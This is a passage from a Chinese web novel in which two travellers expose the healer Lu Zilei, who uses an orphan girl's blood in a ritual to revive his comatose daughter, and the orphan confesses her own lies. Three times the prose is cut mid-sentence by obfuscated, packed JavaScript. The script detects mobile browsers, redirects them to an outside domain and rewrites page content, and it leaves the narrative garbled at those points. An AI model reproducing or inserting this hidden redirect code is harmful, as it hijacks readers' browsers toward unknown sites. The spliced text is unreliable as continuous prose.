结果,下一刻关阇彦就又说了一句没头没脑的话:“你说是吧,小孤女的,姐姐?” 屋子尽头衔接空地,和廊道的角落堆放的杂物晃了晃,发出窸窸窣窣的声响,虽然轻微,却很扰耳,像极了夜里乱窜的老鼠。 关阇彦也不装了,不顾被陆子礼抓个现行的风险,干脆从塌上起身,几个箭步过去,直接把躲在角落里偷听偷看的小丫头抓住了。 小丫头面色仓皇,估计还没反应过来。她今日没扎发髻,齐腰的黑发如瀑布般散开,但看起来并不蓬乱,应是被人特意打理过一般。 所以关阇彦也觉得奇怪,陆子礼既然囚禁了这丫头,怎的还将她照顾得这么细致,面色红润饱满的,明明和她妹妹相似的五官,在霞光扑打的面颊的衬托下,好似不是一个世界的人,更不提是亲生的姐妹二人了。 难不成真是魏郁春说的那样,是陆子礼有怪癖,所以才会特别对待这个小丫头? 想罢,他心中倏尔泛起一阵滔天的恶心之意。 关阇彦控住了小丫头的衣襟,揪着抬高,人只好踮着脚任他拿捏,不过这丫头再怎么惊恐,好像都没有要跑的意思。 他握了握另一只拳,内息平稳,又有了往昔运筹帷幄之感。看来陆子礼的神医之号真不是浪得虚名,不过一碗汤药下肚,身子就好了不少。 他虽然动作快,却没掀起多大风波,那蹲在堂子内捣鼓不知什么邪术的陆子礼,也早对“昏迷”的关阇彦和魏郁春二人放低了警惕心,所以根本没有注意到东侧屋子的情况。 魏郁春讶了讶口,她脖子僵硬地动了动,酸痛无比,但强行破除这道槛后身子就没那么沉重了。她折弯腿盘坐塌上,上半身尽管还是软地像一滩泥,好歹是撑直了起来。她盯着小丫头,将其与蒸饼铺面有菜色的小孤女联系起来,果真从她脸上看到了小孤女的影子。 关阇彦说得没错,这孩子就是小孤女丢失的姐姐。 关阇彦拧着那对劲眉,整个人刚巧又站在没有阳光招进来的角落,阴翳笼罩之下,他看起来凶神恶煞,再好看的面貌都抵不住他这身恶腾腾的气息。 “偷听我们说话这么久,你还真够沉得住气啊。” 小丫头垫着脚的双腿,已经瑟瑟发抖了起来。 塌上的魏郁春距离二人有点远,听不清他们在说什么,但侧看着关阇彦的口型,隐隐猜出了他的话意。她又是一怔。 她刚刚还奇怪关阇彦前头说在装晕,这会儿怎么突然胆子大了起来,她还奇怪他身子恢复了不少,已无忌惮陆子礼的理由,为何还要如此忍气呢。敢情是早就察觉到了隔墙有耳,怕小丫头跑了,然后故意说那些激人的话,让对方自乱阵脚…… 关阇彦刚刚原来并不是站着说话不腰疼,而是另有打算。魏郁春居然感到了庆幸,他并非心黑之人,她没看错人。 那头,小丫头用抖颤如筛的嗓音,开腔:“你们……刚刚说得都没错,所,所以你们是不是真的见过我妹妹?” 关阇彦叉着腰,微微撇着脑袋,好整以暇地看着小丫头精光四射的眼,答非所问地叹了一句:“小丫头耳力不错,可惜我们不会冒着和陆子礼闹开的风险帮你什么,刚刚逼你出来,不过是不喜被人偷听而已。” 毕竟他可真是怕了禺山镇有事没事,就叫里正父老撑腰的作风了。 “不!你先听我说一个秘密好不好!”小丫头以近乎乞求的语气说话,满是精光的双眸中已经蓄满了泪。 “嘿,你先别哭。” 关阇彦没想到这孩子一言不合就哭起来了,有些慌。 魏郁春的脸又黑了黑,这厮连深陷杌陧之境的孩童都欺负? 她压着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447382|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,提醒了关阇彦一声:“关贤齐!” 关阇彦险些要气笑了,他刚才那话说得很过分吗?明明她一开始也是抱着不愿节外生枝的心态,现在就她做起好人了? 好吧,刚刚他说那话也不过是想吓唬吓唬人而已,心里面猜测过陆子礼的非人怪癖,对此女也有同情之意,并没有要做坏人的意思。 “行吧,你慢慢说,”关阇彦索性松开了揪住小丫头的手,踏出几步朝院中张望了望,见陆子礼没动静,才回过脚步来,“小声点就行,别被发现昂。” 小丫头目含热泪,徐徐而下,嗓音在尽己所能地保持平稳:“陆子礼的女儿很久前就得了绝症,差点就死了,他发现了一种邪术,要他作中间人,寻一个和他女儿一样大的女孩给他女儿换血。所以他才会在他女儿十岁生辰后找到我,他找到我的时候,妹妹刚好不在我身边,当时我和妹妹寻吃食,妹妹去吸引人的注意力,我就在原地等着时机下手。” “陆子礼找到我,问了我很多事情,然后说请我回家吃饭,到时候可以带吃食给妹妹,还跟我说已经让人去找我妹妹了。我看他不像坏人,听路边人喊他知道他是陆神医,觉得他心善不会撒谎。” “到了这里后,他说要我滴血看看。然后就出去了一阵,回来突然告诉我,他需要我帮忙一件事,就可以认我做义女,不愁吃喝,还说妹妹他已经拜托一个外地友人照料了,只要我同意留在这里就好。” “我答应了他,直到我看到你们二人身上的草蛐蛐,这种手法仅有我和妹妹会,是我教会妹妹的,所以不可能认错!妹妹还在禺山镇对不对?是陆子礼一直在骗我。” 她的泪越流越多,魏郁春听着零星几语,看着小丫头的模样,心里也变得酸涩起来。 反而关阇彦的神色却越来越沉,原来小丫头开腔前他脸上的无奈和同情之色转瞬消逝,不知他在沉思什么。 魏郁春看出他的踟蹰,猜到他是心存怀疑,毕竟此人既有见微知著的本事,便意味着他的脑沟比常人要深许多,即便对方是身世惹人怜惜的小丫头,他也绝不会容情。魏郁春看着他的神色,也忽地冷静下来,发现那丫头的话确实疏漏百出,不清楚是不是和她太紧张或者太悲恸有关。 关阇彦深邃的眼神复看回小丫头,嘴角连他招牌式的讽刺之意都不见了。 不苟言笑的郑重模样代表了他绝不容情的态度,他郑重对她说:“小小年纪就油嘴滑舌,真是不得了啊。” “我没有骗人!反正也被抓住了,我便把陆子礼的所有秘密都告诉你们!他用的秘术是用两张大黄纸写着的,一直都藏在他放锁住地室的钥匙的屉中,你们只要去寻来就知道了!” 小丫头显然怕了关阇彦,语气越发急促,声音大了些,另一头榻上的魏郁春听得清清楚楚。 她不假思索地冒出有关其中一个漏洞的疑问:“既是锁住的,这个小丫头到底是怎么出来的?昨日,今日……如此频繁,陆子礼却察觉不到么?包括今日,我和关贤齐便罢了,陆子礼却对她还是如此放心?或许是陆子礼一直见藏钥匙的屉子无人动过,包括他也时不时会去地室看看情况,所以他才会不在意。” 那这个小丫头是怎么做到出来的?是地室的机关被她识破,还是钥匙被她拿出来了?事后,她是怎么做到一尘不染地回到地室中的? 真是细思极恐。她回忆起屋子里除了陆子礼和这个小丫头外,还有第三个人存在,关阇彦与她说过的陆子礼的女儿,就在能透过窗子看见的另外一只屋子内。她抬起眸子,果真瞥见一个闭着眸子睡样憨甜的小丫头。 她没有任何全部听清孤女的话,不知陆子礼的女儿因为绝症沉睡不醒的事,所以联系起来,她将那小丫头也当作了一样关键的枢纽——是她偷了钥匙? 她满腹疑团,不知部分情况的关阇彦与她一样。 所以他在怀疑的根本不是秘术,而是环绕在这个满口疏漏的小丫头身上的种种疑问。只不过那丫头一心通在别处,也以为别人和她一样在乎的是另一种东西,以为是别人不相信秘术的存在。 说实话,见识过古溪村双面之人,和一身鬼气的陆子礼的他们二人,什么秘术不秘术的,不知道便是不知道,知道了也就消化一下,未尝不会理解。 小丫头一通话下来,逻辑最缜密最不引人遐思的地方,就是陆子礼偷练邪术救女的事了。 40. 浑水之源 关阇彦骇人的神情松了下去,嘴角浮现出一个戏谑的笑。 他一只手搭上后脖子,佯装为难的模样,说道:“本来以为你被困在这里一直过得不好,我与那位远房亲戚还担心是陆子礼用什么怪癖害了你。” 他的话音松弛,声音极低,魏郁春只知道他在远处瞥了她一眼。 魏郁春皱了皱眉:“看我作甚?” 面对大汗淋漓的小丫头,关阇彦还在说着:“如果是那样的话,本着良心虽然做不了什么,但心里还是愿意救救你的。但是我发现将你与你妹妹做对比,你如今这副模样生养得极好,除了每日为陆家献血外,陆子礼也没什么对不住你的地方。若不是知道了妹妹的事,你会在现在选择反抗?你打心底已经习惯了这一个月来的处境罢了。” “另外,陆子礼的确骗了你。你妹妹面黄得同菜叶一般,瘦削得骨头都要钻出皮肉来,连个馒头都吃不到半个,至今还在外面流浪,一直在寻你。” 闻言,小丫头脸色越发仓皇,心里更是咯噔一下。 “我不知道你到底还在保留什么东西不肯说,但你别以为我不知道。求人也要有求人的态度,你这样,我不敢相信你呢。至于邪术……” 关阇彦思忖半晌,无奈一笑:“你形容形容,是什么东西,说不定我感兴趣了还愿意去陆子礼那边讨要讨要。” 他至今体力恢复了少则三四成,对付陆子礼这样的普通人不在话下,他没什么顾虑要惦记的,便是现在就拉着小丫头去找陆子礼对峙也没问题。他之所以还愿意在隐蔽处与小丫头周旋,自是早已有了要和陆子礼开闹的打算,不过这丫头嘴巴里不知有多少真话,贸然行动太吃亏。 还是提前吓唬吓唬小丫头,套更多的话来更好。 小丫头早已乱了心窍,面露惭愧和愧疚,蔫儿耷耷的说着:“陆子礼没提过里面的东西,上面都写着看不懂的文字,我即便见着了也不明白。但是,陆子礼说过秘术是他两个多月前获来的,他研究法器就花了一个月,后来才找到我的。” “两个多月前?” 关阇彦眼中闪过几分惊诧,即便归于平静,他的状态也有肉眼可见的变化。 两个月前正是他初闻密报的时间,这些耳边风吹了近一个月。军营中他和右军左都督老将军为此加紧操练兵务,抽不开身。那时父亲并不在军营,而是带着母亲提前赶赴朔州府拜访魏家。 一个月后,密报来袭,海患加剧,其中联系颇深,怕是往南之北寇叛贼出海泄露了什么军秘,才会在同一时间闹得如此大。 中央调右军都督府之兵力支援沿海长线,左老都督更擅水战,最后便由关阇彦领着一方卫所三万兵力赶往南禺。此事秘密而行,估摸除了当事铁衣郎和圣上外,并无人知晓。就连远在朔州府的关氏老将军若要闻讯,除了捷报归来外,就是噩耗传丧。 显然,关阇彦认为的结果更偏向于后者。 但为什么会这么巧合?都是南禺……两个月前的耳风难道是早有预谋? 朝廷密报赶来的前一个月,南禺到底还发生了什么? 沿海海患屡禁不止,反而愈演愈烈,不断加剧……恐怕不似圣人想得那么简单,海患之源绝大多数并非外寇肆虐猖獗。可圣人明察秋毫,疑心颇重,一旦有迹象,他不可能察觉不到。不对,更应该说的是圣人察觉到了却不上心。 除非一直以来都有内贼,这些内贼怂恿外来海寇兴风作浪,在暴动的掩护下,这不失为让朝廷转移注意力的一大好办法。至于北疆流寇往南之事,亦是转移注意力的办法,毕竟比起海患,西北戎域之疆民更是需要时时监管的大敌。 一旦北疆流寇与海患并行,未至南禺亲至当地内幕者,多半会以为是北疆骚乱泄露军秘引发种种暴乱……那帮北疆流寇别是被人当成枪使了,背了一身的黑锅,还什么都不知道。 珠盗盐徒肆虐之事并非当朝始发之事,若要做到掩住圣人的耳目,那幕后黑手得有多滔天的本事暗操棋局,那有得是何等的谋略才让当今满腹疑果的圣人信任至深,让圣人明知海患之隐患却装作不闻不问,还不作为? 他被暗杀之事……圣人也是不知道么? 还是说亦是明白却装作不知道?他越想越心寒。 可他关家分明早已答应与魏家结亲,圣人并没有理由再针对他了。归根究底,还是那个操动一切的幕后黑手最该死。 他先前在古溪村也不止一次疑惑为什么他一到这里,就一桩怪事一桩怪事地找上门,偏偏找到根源都和自己没关系。即便离开了古溪村,到了禺山镇,陆子礼偷练邪术的时间也刚好卡在两个月前,虽然本源上还是和自己没关系。 但他已经摸清楚之间关联——幕后黑手和这些邪术撇不清关系,幕后黑手又针对他,所以即便这些分支出来的种种邪术的影子,看似和关阇彦没联系,但实际上处处都跟他丝丝相连。 不过他还没搞清楚幕后黑手为何操练邪术之事,因此也摸不明白对方为何要设局置自己于死地。 南禺……可真是一大湾的浑水。 他得看看陆子礼的邪术从何而来。 看来今儿,不得罪陆子礼一番都不行了。他瞬间改变了注意。 关阇彦的脸色极差,他也按耐不住将陆子礼当场拽过来问个明白的心了,但陆子礼就是个疯子,难以沟通,若以武力刺激也是无效,更何况他手里还有他需要的药材呢。那不如就此挟持陆子礼最宝贵的东西——陆子礼的女儿。 他乜起眼,看向小丫头,语气郑重不容怠慢:“如果真想出去,待会儿就都听我的安排。” 小丫头哆哆嗦嗦地应下。 关阇彦扭头又见伸着脖子张望的魏郁春,竟给那张淡漠自若的脸上平添出好几分傻样。他若不是心事压心,必要好好嘲笑她一番。 他让小丫头在原地等着,然后隐着脚步声快速走到她身边,然后说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果不其然,看起来柔柔弱弱似竹竿的陆子礼,一旦被触及底线就形似癫狂。他追上来时长衫翩飞,差点绊倒身子,结果他还若无其事地、恨不得四肢并用爬追过来。他一到这里,看到魏郁春和关阇彦,脸色黑得比被碳抹了还难看。 然后又看到躺在魏郁春怀里的女儿,神色变了又变,极度复杂下,他的牙尖挤出几个字来:“你们要什么就说,别碰她!” “还有你,”他的眼神飞速驶过,追踪到躲在关阇彦身后的小丫头身上,他瘦削的面皮怪异地抖动起来,“你是怎么逃出来的?!” “你和他们说了什么?!你忘了吗,你与我之间的约定?!你不怕你妹妹——” 小丫头今日决心找上关阇彦和魏郁春,本就做好了破釜沉舟的准备,她对妹妹心怀太多愧疚,这已经无法让她满足于区区所谓的温饱富足了。 她也意识到靠着的两个人不是普通的村人,有了依仗,她定是有什么话就说什么话了。 于是,她当即打断陆子礼:“你不要再骗人了!我妹妹分明还在禺山镇!” 41. 大梦方醒(1) 陆子礼听到小丫头的驳斥,眉头一僵,似在思考为什么她会知道这个真相。 他抓狂地要朝小丫头冲过去,嘴里嚷嚷不断:“你是不是还逃出过!你是不是把那些不该说出去的东西都说了!” 关阇彦面色一凛:“得了,这屋子里面的所有人,都知道了你那点见不得光的事情了。另外,别轻举妄动,令嫒还在我们手上呢。” 陆子礼闻言一下子没了威风,跌坐在地,枯瘦的脸上开始流起灰蒙蒙的泪。 “完了,一切都完了……” 他双手朝天,要抓什么却什么都抓不到,那种无妄之感感染着屋子里的所有人。 他降下双臂,匍匐在地,呜咽而语:“还请天仙大人恕罪……还请天仙大人再给我一次机会,救救小女。至少,让我在死前再见女儿一面。” 关阇彦和魏郁春都被他这副模样吓得一时不敢言语,他的面前仿佛真立着一具活生生的邪神,将他的身而为人尊严狠狠踩在脚底,无情无心。他们都没想到信仰的力量如此庞大,能让一个活生生的人荼毒成这副模样。 而小丫头则对陆子礼的模样习以为常,什么天仙,那真的是神仙吗?明明是比最毒的地狱鬼还要狠毒的天煞魔神。 她已不愿在离开前还要被这样的场面捆缚恐惧,无力地闭上眼不敢看。 至今没怎么说话的魏郁春终于开了腔。 她怀中抱着的女孩儿呼吸平稳,面目娴静温和,圆溜溜的脸蛋光滑粉嫩,整个人好似含苞待放的嫩荷。 她神情古怪:“什么叫作……至少让你在死前再见女儿一面?她永远都醒不来了吗?” 陆子礼呜咽呜咽的声音越发悠长,爬着所有人的脊背,深入骨髓引人骨寒。 他已是穷途末路,根本没有要继续遮掩的了,索性用尽自己最后的力气痛哀着:“小囡自幼便身患怪病,活不过十岁,本该绝命于今年。可在此之前她已昏迷许久,即便我日日施药侍食奉水,她越来越瘦削,眼看没了人形。自从我用天仙秘术为其换血后,她才日渐转好,可还是一直都醒不来……一直都醒不来。” 他越说越激动,扭曲的脸抬起,望着的关阇彦和魏郁春:“你们不知道我有多么期盼她能睁开眼睛,再唤我一声爹!你们什么都不明白为什么还要横加干扰?!是我还不够对你们心软吗!明明你们需要的帮助,我都给了!为什么还要这么对我?!” 好似每一个遭遇苦难却因不甘心反手制人的人,总是这样自命不凡,天对他不公,任何人都对他不公,唯独他看不见自己真的做了哪些见不得人的事情。 可真正无辜的人能有多少呢?也许陆子礼一开始的确是无辜的,可他一旦踏上将痛苦转移给别人的道路,他就变了。 关阇彦握着的拳头硬了硬,可到底没向他这个可怜之人挥过去。 “我从今日踏入院子起就觉得奇怪。你能预料我们会再来,却预料不了外头的天气,你犯得着那么早就将要给我们的东西准备好?还特意要和我说你女儿的事情。敢情是你早就想好要把我们的疑心哄走,好让我们不对你深究。你敢承认你对我们的心软,不含私心么?” 魏郁春接着说道:“即便君子论迹不论心,你帮了我们,我们无法指摘你什么。可你诱拐无辜幼女以满私欲之事,手段绝对算不上干净。” 陆子礼心仍不死,咬定道:“我并没有不出走寻找孤女妹妹的下落,寻不到实属无奈之举。另外——” 他看向躲在人身后已面露心虚的小丫头,怪笑几声:“呵呵呵。我将她带走前说过要她帮忙,奈何我找到她时并没有带好器具,归家后带来验血银针才来寻她。那时她分明有机会与她妹妹说这些,然而她还不是担心妹妹分食好处才什么都没说?” 陆子礼的这番话,几乎与小丫头方才和关阇彦吐的苦水背道而驰。 二人谁真谁假,一眼下去无法分辨。 但种种迹象都证明了小丫头有太多事情隐隐藏藏,不管是怎么借力逃出地室的,还是如何来到陆家靠卖血维持生计的…… 言不信者行不果,魏郁春那张漂亮却平静若水的脸蛋此时越发沉阴,小丫头也感觉到了大姐姐那双意味不善的眼神。 “事到如今,你还不说实话吗?” 魏郁春出口问她,用语简单,甚至连语气都是安之若素的,可就是有股不怒自威的味道在里头。 关阇彦也不再当她依仗的人柱子,迈腿走开,一张大手掌毫不客气地推着她上前,站在众人可轻易指摘的中心点,道:“把你知道的全部说出来,否则别怪我不客气了。” 小丫头走投无路,刚流过泪的双目又红辣起来,圆溜溜的眼珠子里,布满了不合年纪的用惆怅和无力织起的血丝。 “我……我……我。没……错,陆子礼找我在先,他那时并没有和我说对妹妹的安排,只是问了我的年纪,帮我算了生辰八字,让我呆在原地等他回家取东西来,作为保证,他说他有忙要找一个人帮,只要我愿意,就认我作干女儿,以后不必流浪,可以吃喝不愁。可是,陆子礼你只顾着指责我,却忘记说了当时你和我说的一个条件。” 小丫头泪流满面地看着陆子礼,说着:“你说,这些事情不能告诉别人,如果被别人知道了,好处就全部作罢。” 魏郁春缓缓摇了摇头,说道:“你若不是被那些好处迷乱了神智,也不会因为害怕失去它们而故意瞒着你妹妹。从你犹豫的那刻起,就注定你会踏入这片沼泽。因为陆子礼应当同你强调过,他只需一人帮忙,我想这又是和那秘术的规矩有关。你害怕告诉了妹妹,妹妹也可以取代你,甚至是被陆子礼发现你泄密后,你们姐妹两个谁都得不到眷顾。” 小丫头哭着点头:“是,当时陆子礼还不知道我有一个妹妹,他寻我的时候,妹妹还在不远处的草埔玩耍,所以我犹豫也害怕。之后……” 她声音越来越颤抖,好似跪在衙门堂内哭诉罪行的罪人。 “我心生一计,我喊来玩耍的妹妹,和她说饿了,姐妹两个寻最近一个铺子蹲点,妹妹虽然跑得快却不如我激灵,一般都是她去引走看着饭食的食客或是铺子老板,我就守在原地观望,顺走吃食。妹妹信我,跑出去老远,而我则留在原地,没有顺食物,反而是借着引走她的机会在原地等着回家取针的陆子礼。” 这下,就连陆子礼都睁开了空洞的眼,眼中满是不可置信。 “陆子礼验了我的血,符合他的要求,我也答应了他的请求,因为好不容易才寻到我,他很激动,认我做了干女儿。而我则趁火打劫,我说我还有一个妹妹,还撒谎说妹妹刚和我走散,要他帮忙寻找。陆子礼满心满眼是带走我,所以告诉我,他可以帮我找妹妹。” “之后呢?”关阇彦剑眉下的冷目好似结了一层霜,盯得人发怵。 “之后就是我之前和你们说的那样,陆子礼出去了一阵说是帮我寻妹妹,大半天后回来和我说,他找到了她,还拜托了外地的友人照顾,让我安心。或者说也是一种威胁,只有我听话,妹妹才不会被遗弃。” 关阇彦冷笑一声:“估摸着昨晚那种情况,陆子礼你没少拿这事吓唬你这丫头吧?” “出去一趟,想来陆子礼的确打算帮你寻妹妹,可惜你妹妹怎么都找不到,又怕到手的鸭子飞了,索性回来哄骗你。为了防止你心中有所牵挂,直接说妹妹在外地,见不着人,也是处心积虑极了。” “你们两个人都有自己的苦衷,可真正双手干净的却一个都没有,到头来,害了自己,也害了别人。” 陆子礼和小丫头的故事,让魏郁春的见识又广了不少,她觉得太过荒唐,喟叹道:“你们二人的话中各有疏漏,割碎下来,拼拼凑凑才勉强拼出个头尾原貌。” 原来,真话到了自认苦衷不绝的人口中,皆成了掩饰各自利益的遮羞布。 小丫头已然知错,浑身上下都淌着虚汗,脚步都是虚浮的,恨不得下一刻就要栽倒下去。 唯有陆子礼还在执迷不悟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447384|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还在信仰着那看不见摸不着的天仙,跪拜在地的他浑身筋脉抽动,好似又无数条百足虫在他的血脉里窜动无阻。他虎视眈眈地看着屋内所有人,唯有目光流转到魏郁春怀中的女儿陆长岁时,目光才柔情起来,可柔情却包裹着难以言说的悲恸。 若不是为了女儿,他恨不得当场舞起刀刃,亲手把他们全部杀得血肉翻飞。 屋内唯有陆子礼的痛哭声,阴魂不散地缭绕在众人的头顶。 关阇彦已经等得不耐烦,他对满口谎话的小丫头的忍耐已到了极限,干脆毫不留情地甩腿踢了一脚她的小腿,但力度不大,唯叫人歪了歪身子,吃点痛。 这次连魏郁春也没有任何同情她的念头了。 关阇彦无情地蔑着丫头,话音声起:“怎么,还没消化够情绪,要让别人等你多久?你是怎么掩人耳目逃出生天的?” 他眉眼垂下,一身胆气壮了威风,早没了萎靡之气。他干脆把昨日受制于陆子礼的憋屈加倍还了回去,要知道,他是誓不吃亏的性子。 “陆子礼,你处心积虑是不错。可惜你什么都料到了,唯独没料到这孤女逃出了地室,也不知道她是靠什么逃出地室的。” 陆子礼的哭声戛然而止,给小丫头留了说话的空间。 小丫头红着快要烧熟的脸蛋,并非因羞赧而起。而是过多的羞愧和打击,让她心灵承受过多。 她那一副才十岁的小身板子,哪里囊得住她这些远高于成年人的缜密心思? 她绝望地说起往事:“昨日——” …… 孤女昨日听到外面声响,心中好奇,想过要出去看看,因为陆子礼的院子已经很久没有人来光顾了。 可即便她再想,无人帮忙也是无用。后来她的确逃出了地室,还是陆子礼的女儿偷来的钥匙放她出来的,小丫头弯着眉眼,悄咪咪告诉她——“我爹爹好像在堂子里看书,外人有人来了,我不敢一个人呆在屋子里,来看看你。” 孤女没想过她会在那个时候醒来,有些担心陆子礼会发现她的动静,慌忙问她——“你阿爹发现你醒了吗?” “当然没有,你不是和我说过么?我爹爹有个秘密,如果他发现我已经睡醒了,我就再也不知道了。所以你想好什么时候告诉我了吗?” 陆长岁长长的睫毛随着眼眸眨动,里面似流动着撒满了星光的银河,看起来如此明亮标志。她的脸颊粉若桃腮,圆溜溜的像一颗宝珠。任谁都想不到这样一个丫头竟得了那般的不治之症。 孤女看着她的笑容,却一点都笑不出来。 其实大约半个月前——那时,陆子礼已经将陆长岁放在地室过夜已有好一段时间了。 子时换血献祭后,孤女与她盖着一床厚厚的被褥躺在昏暗阴冷的地室内,这样的夜晚度过了好几日。 起初孤女还有些抵触身边躺着这一号用自己的血供起来的活死人,陆长岁恢复形容后,她就发现她生得实在是漂亮可爱,让人很难厌恶得起来。久而久之,孤女就对她没什么意见了,反正不管怎么抱怨也改变不了现状,更何况现在她完完全全就把陆长岁当作了只会呼吸的布偶娃娃,也没什么可抱怨的。 第五日了,孤女睡得本安稳,唯有被粗针扎过的臂膀还隐隐作痛,但想着陆子礼每日早晨来抱走陆长乐的时候,都会带着提前制备好的特质敷药给她和陆长乐敷上,那样很快就不痛了。于是一直假装察觉不到痛意,昏昏沉沉地睡下去。 可此时,她又感觉到一抹冰凉抓上了她另外一只手臂,上上下下挠得她不得安宁。她翻身过去,不耐烦地睁眼,见到的便是正对着她的瞪着一双黑葡萄似大眼的陆长岁。 这是陆长岁自病发晕倒数月后第一次意识清醒的时刻,她嗓音很甜,却因为许久不用,显得发哑。 “你……是谁呀?” 她只说了一句话,孤女已被吓得魂飞魄散,刚反应到她话的内容时,陆长岁攀着她手臂的冰手已经松了,葡萄似的眼又紧紧闭了回去。 42. 大梦方醒(2) 孤女,也就是小丫头还在说着这些离奇的往事。 屋内所有人的呼吸都仿佛停滞了,尤其是被泪沾着灰尘糊满了脸的陆子礼。 自从用秘术治愈陆长岁开始,除了每日子时,陆子礼都会抱着女儿离开地室,无论是照顾吃喝还是侍药洗身,陆子礼都亲力亲为。 他照顾女儿这么久,从未发现陆长岁有任何醒来的迹象,他以为是自己的诚心还不够,所以才会在这条一直走到黑的路上,他堪堪只小踱了几步。 直到他的身子被毒血侵染得越来越严重,他甚至连走出地室的力气都快没了,更没办法抱着女儿走。于是他才下定决心将女儿留在地室,陪着小孤女眠寝一夜。 可他怎么都想不到,便是他撒开手后,女儿才有了醒来的迹象。 为什么会这样? 这便是命吗?好似有只无形的大手在背后操纵着一切,造就了陆子礼和女儿的完美错过,到底是哪里出了问题? 他分明有天仙助阵,为什么还会这样?! 一定是哪里出了错,是因为秘密外泄才惹得天仙大怒!陆子礼似要噬人的瘈狗,他双手抓地,已有血迹在指尖划过的地面出现。 然关阇彦和魏郁春还握着女儿的安危要挟着他,他只能不情不愿地听着小丫头继续说话。 “我后来发现陆长岁并非真的醒来了,她的状况很不稳定。起初,她睁目后至多能醒一句话的时间。之后,她会陆陆续续地在不同的时间段醒来,随着时间的变长,她醒来的时间也会久一点,但基本上都集中在深夜和凌晨。我觉得恐惧,但也慢慢习惯,因为长岁和普通人没什么区别,我开始觉得新奇,感叹她父亲的本事厉害,还有那酷似邪术的秘术居然真能包治百病。” “但很快我又再度陷入恐惧,陆长岁醒来的时间变长,她会想去寻她的父亲,还会不断地追问我是什么人,还有那间地室是什么地方。” “我还以为妹妹被陆子礼的友人收留着,若是陆长岁的病被治好了,我和妹妹就会再度被抛弃。但说实话,我更自私,更害怕第一时间下是我先遭殃,过惯了衣食无忧的日子,我很恐惧又变回以前到处流浪的境地。” “我摸索出了陆长岁醒来的规律,她至多可以醒一刻钟,并且在下一次醒来后,她会忘记绝大多数之前的记忆。我可以想尽办法哄骗她,让她的注意力被暂时转移开。可她还是在意父亲,我就下定决心编了个故事给她听。” “你编……了什么?” 这次不是关阇彦抑或是魏郁春开腔问话了。 被戳中关乎女儿的心头事后的陆子礼,整个人疯疯癫癫,可浑身也披着将要破碎的无力绝望感,他的话至少还留有一些理智。 小丫头不敢看他,她及肩的长发挡着面目。 “我告诉长岁自己是她父亲请回来的玩伴,说是她父亲怕她生病的日子里没人陪伴我。还说我、长岁还有她父亲三个人其实在玩一种很特别的躲猫猫,谁要是赢了最后就可以得到一个奖励。长岁问我是什么奖励,我就说是她的父亲有一个惊天大秘密,但是那个秘密只有我还知道。” “因为躲猫猫时,我被她抓到了,所以才跟她透露了这么多,长岁以为自己玩游戏赢了还很开心。但我还提醒了她,游戏没有结束,最后一段时间内她还不能被自己的父亲发现自己已经醒了,不然就露馅了,为此,我教会了她很多办法,比如装睡、偷偷观察父亲是不是在身边,还有动身后要记得把身姿调整回最初的样子。” “我还以为是什么了不得的谋略,敢情是哄骗孩子的话术。”关阇彦忍不住侃了一句。 “你怎如此恶毒?!”陆子礼终是忍不住了,他要冲过来掌掴她,却被关阇彦狠狠攥住了手腕,动弹不得。 “后来,长岁就成了你逃离地室的帮凶对吗?”魏郁春问道。 小丫头抽抽噎噎地答上来:“是,因为我告诉长岁,游戏里她抓住了我,我就可以成为她的玩伴,帮忙一起瞒住她父亲。长岁每次醒来会忘记很多细节,在她的意识里,甚至以为自己只是刚睡醒一觉而已。每到此时,我都需要和她强调那些故事,久而久之,她就以为自己真的是在和父亲玩一场开开心心的游戏。” “她从没这么开心过,因为她说自己从前一直生病,身体从没这样好过,父亲不会和她玩游戏的。” 陆子礼狰狞的面目沉寂下去,只是一瞬,他鬓间好似又多了好几缕白发,碳粉早已遮不住了。 他倏尔落寞,因为他至今才明白女儿心底最想要的是什么。 往昔,他一心忙于四处搜寻救女的办法,他一身奇才却不肯抒发年轻时的雄心壮志,反而甘愿留在南禺的一个小小的镇子上,日日夜夜琢磨能让亡妻给他留下的这唯一的念想——他们的宝贝女儿,活下去的办法。 为此,他为女儿取的名都是“长岁”——长命百岁。 然而,随着十年将至,陆子礼越来越慌张,平日本就抽不开身陪伴女儿,之后就更是如此了。除了日常起居时需要照料外,长岁总是看不见爹爹,她自幼天真活泼,可也极为懂事,不敢耽误爹爹大事,总是乖乖巧巧,不给爹爹添麻烦。以至于陆子礼到现在还以为女儿是天生腼腆的性子,和一般的小孩子不同,不爱泼闹玩耍,真是同她娘亲一样。 他甚至觉得这理所当然的事情。 小丫头口中形容的长岁,落在陆子礼耳中,好似一个陌生的丫头——他从未想过女儿真实的一面竟是这样。 女儿病严重了,一病不起后,陆子礼才终于肯日日夜夜陪伴着昏睡的她,不管是以泪洗面,还是用尽一切代价换取她的安康,还是央求天仙换求女儿的苏醒。 